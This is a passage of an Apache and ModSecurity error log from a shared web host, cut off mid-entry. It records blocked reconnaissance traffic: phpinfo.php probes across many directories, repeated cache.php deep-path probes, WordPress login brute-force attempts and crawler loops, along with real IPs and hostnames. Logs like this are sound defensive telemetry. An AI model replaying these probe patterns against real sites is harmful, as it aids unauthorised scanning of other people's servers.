https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:13:14.254678 2026] [access_compat:error] [pid 531155:tid 531190] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vbW91c2UyL2RldmljZS9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:13:14.273594 2026] [security2:error] [pid 531155:tid 531273] [remote 17.246.15.98:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 98.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yGimiP80klyS0NnoMOQABSXU"] [Sat Jun 13 18:13:14.310906 2026] [security2:error] [pid 531155:tid 531369] [client 77.68.83.86:59788] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.joeharrod.com"] [uri "/cgi-bin/cgi-bin/cgi-bin/cgi-bin/cache.php"] [unique_id "ai3yGimiP80klyS0NnoMOgAAAV4"], referer: www.google.com [Sat Jun 13 18:13:14.598008 2026] [security2:error] [pid 531155:tid 531162] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/php/info.php"] [unique_id "ai3yGimiP80klyS0NnoMRgABMQY"] [Sat Jun 13 18:13:14.612945 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.52:20130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:14.613228 2026] [access_compat:error] [pid 531155:tid 531226] [remote 57.141.14.52:20130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:14.729701 2026] [security2:error] [pid 531155:tid 531191] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/php/phpinfo.php"] [unique_id "ai3yGimiP80klyS0NnoMTQABFSM"] [Sat Jun 13 18:13:14.738487 2026] [security2:error] [pid 531155:tid 531277] [remote 17.241.75.254:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 254.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yGimiP80klyS0NnoMTgABe3k"] [Sat Jun 13 18:13:14.750788 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:13:14.751061 2026] [access_compat:error] [pid 531155:tid 531215] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MC9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ3L3Bvd2Vy [Sat Jun 13 18:13:14.861423 2026] [security2:error] [pid 531155:tid 531258] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/test/phpinfo.php"] [unique_id "ai3yGimiP80klyS0NnoMVwABPGY"] [Sat Jun 13 18:13:14.967463 2026] [access_compat:error] [pid 531155:tid 531164] [remote 57.141.14.94:64712] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:14.967740 2026] [access_compat:error] [pid 531155:tid 531164] [remote 57.141.14.94:64712] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:14.993350 2026] [security2:error] [pid 531155:tid 531245] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/demo/phpinfo.php"] [unique_id "ai3yGimiP80klyS0NnoMXwABRFk"] [Sat Jun 13 18:13:15.080360 2026] [access_compat:error] [pid 531155:tid 531228] [remote 57.141.14.108:40041] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:15.080657 2026] [access_compat:error] [pid 531155:tid 531228] [remote 57.141.14.108:40041] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:15.124953 2026] [security2:error] [pid 531155:tid 531248] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/site/phpinfo.php"] [unique_id "ai3yGymiP80klyS0NnoMaQABX1w"] [Sat Jun 13 18:13:15.256767 2026] [security2:error] [pid 531155:tid 531233] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/tmp/phpinfo.php"] [unique_id "ai3yGymiP80klyS0NnoMcwABbk0"] [Sat Jun 13 18:13:15.265592 2026] [security2:error] [pid 531155:tid 531201] [remote 80.47.11.181:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3yGymiP80klyS0NnoMcAABFi0"], referer: https://www.torquayfans.com [Sat Jun 13 18:13:15.265626 2026] [security2:error] [pid 531155:tid 531201] [remote 80.47.11.181:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3yGymiP80klyS0NnoMcAABFi0"], referer: https://www.torquayfans.com [Sat Jun 13 18:13:15.323708 2026] [security2:error] [pid 531155:tid 531218] [remote 151.237.138.20:40694] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.138.237.151.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "rhinoglobalenterprises.com"] [uri "/wp-login.php"] [unique_id "ai3yGymiP80klyS0NnoMfwABEz4"] [Sat Jun 13 18:13:15.334887 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:13:15.335335 2026] [access_compat:error] [pid 531155:tid 531200] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ni9ldmVudDUvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvcG93ZXI= [Sat Jun 13 18:13:15.353972 2026] [security2:error] [pid 531155:tid 531244] [remote 62.31.75.47:0] ModSecurity: Warning. Pattern match "/(contact(o|.?us)?|wp-comments-post|(send)?.?(form.)?e?mail(er)?|memberlist|send|contact.form(.handler)?|thankyou|leafmailer[0-9.]*)\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1546"] [id "900923"] [msg "contact form logging"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3yGymiP80klyS0NnoMgAABH1g"], referer: https://www.torquayfans.com [Sat Jun 13 18:13:15.354007 2026] [security2:error] [pid 531155:tid 531244] [remote 62.31.75.47:0] ModSecurity: Access denied with code 409 (phase 2). Match of "eq 1" against "&REQUEST_COOKIES:humans_21909" required. [file "/opt/mod_security/hg_rules.conf"] [line "1552"] [id "900424"] [msg "Transparent Bot Detection for Contact Forms"] [hostname "www.torquayfans.com"] [uri "/memberlist.php"] [unique_id "ai3yGymiP80klyS0NnoMgAABH1g"], referer: https://www.torquayfans.com [Sat Jun 13 18:13:15.388836 2026] [security2:error] [pid 531155:tid 531272] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/dev/phpinfo.php"] [unique_id "ai3yGymiP80klyS0NnoMigABP3Q"] [Sat Jun 13 18:13:15.520387 2026] [security2:error] [pid 531155:tid 531169] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/local/phpinfo.php"] [unique_id "ai3yGymiP80klyS0NnoMjQABSg0"] [Sat Jun 13 18:13:15.590347 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.88:22640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:15.590630 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.88:22640] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:15.629138 2026] [security2:error] [pid 531155:tid 531267] [remote 151.237.138.20:40694] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 20.138.237.151.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "rhinoglobalenterprises.com"] [uri "/wp-login.php"] [unique_id "ai3yGymiP80klyS0NnoMkQABHm8"], referer: https://rhinoglobalenterprises.com/wp-login.php [Sat Jun 13 18:13:15.651889 2026] [security2:error] [pid 531155:tid 531183] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/backend/phpinfo.php"] [unique_id "ai3yGymiP80klyS0NnoMlAABWxs"] [Sat Jun 13 18:13:15.783709 2026] [security2:error] [pid 531155:tid 531207] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/blog/phpinfo.php"] [unique_id "ai3yGymiP80klyS0NnoMogABKzM"] [Sat Jun 13 18:13:15.815417 2026] [access_compat:error] [pid 531155:tid 531168] [remote 57.141.14.53:31582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:15.815897 2026] [access_compat:error] [pid 531155:tid 531168] [remote 57.141.14.53:31582] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:15.818831 2026] [access_compat:error] [pid 531155:tid 531181] [remote 57.141.14.61:28088] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:15.819269 2026] [access_compat:error] [pid 531155:tid 531181] [remote 57.141.14.61:28088] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:15.857799 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:13:15.858073 2026] [access_compat:error] [pid 531155:tid 531220] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9ldmVudDEvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:13:15.982766 2026] [security2:error] [pid 531155:tid 531336] [client 77.68.83.86:63898] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.joeharrod.com"] [uri "/images/images/images/images/images/images/images/images/cache.php"] [unique_id "ai3yGymiP80klyS0NnoMsgAAAT0"], referer: www.google.com [Sat Jun 13 18:13:16.280816 2026] [security2:error] [pid 531155:tid 531273] [remote 17.246.15.50:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yHCmiP80klyS0NnoMzwABTnU"] [Sat Jun 13 18:13:16.306174 2026] [security2:error] [pid 531155:tid 531182] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/index.php"] [unique_id "ai3yHCmiP80klyS0NnoM0QABHho"] [Sat Jun 13 18:13:16.320532 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:13:16.320971 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQxL3N1YnN5c3RlbS9pbnB1dDYvZXZlbnQ1L2RldmljZQ== [Sat Jun 13 18:13:16.438257 2026] [security2:error] [pid 531155:tid 531255] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/index.php"] [unique_id "ai3yHCmiP80klyS0NnoM3QABU2M"] [Sat Jun 13 18:13:16.477957 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.8:40365] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:16.478293 2026] [access_compat:error] [pid 531155:tid 531227] [remote 57.141.14.8:40365] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:16.504646 2026] [security2:error] [pid 531155:tid 531253] [remote 17.241.219.207:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 207.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yHCmiP80klyS0NnoM4QABMmE"] [Sat Jun 13 18:13:16.526314 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.41:20985] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:16.526778 2026] [access_compat:error] [pid 531155:tid 531230] [remote 57.141.14.41:20985] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:16.569999 2026] [security2:error] [pid 531155:tid 531162] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/index.php"] [unique_id "ai3yHCmiP80klyS0NnoM6AABUQY"] [Sat Jun 13 18:13:16.701581 2026] [security2:error] [pid 531155:tid 531215] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/index.php"] [unique_id "ai3yHCmiP80klyS0NnoM9QABNjs"] [Sat Jun 13 18:13:16.739563 2026] [security2:error] [pid 531155:tid 531337] [client 77.68.83.86:62594] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.83.68.77.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.joeharrod.com"] [uri "/images/images/images/images/images/images/images/cache.php"] [unique_id "ai3yHCmiP80klyS0NnoM9gAAAT4"], referer: www.google.com [Sat Jun 13 18:13:16.777717 2026] [security2:error] [pid 531155:tid 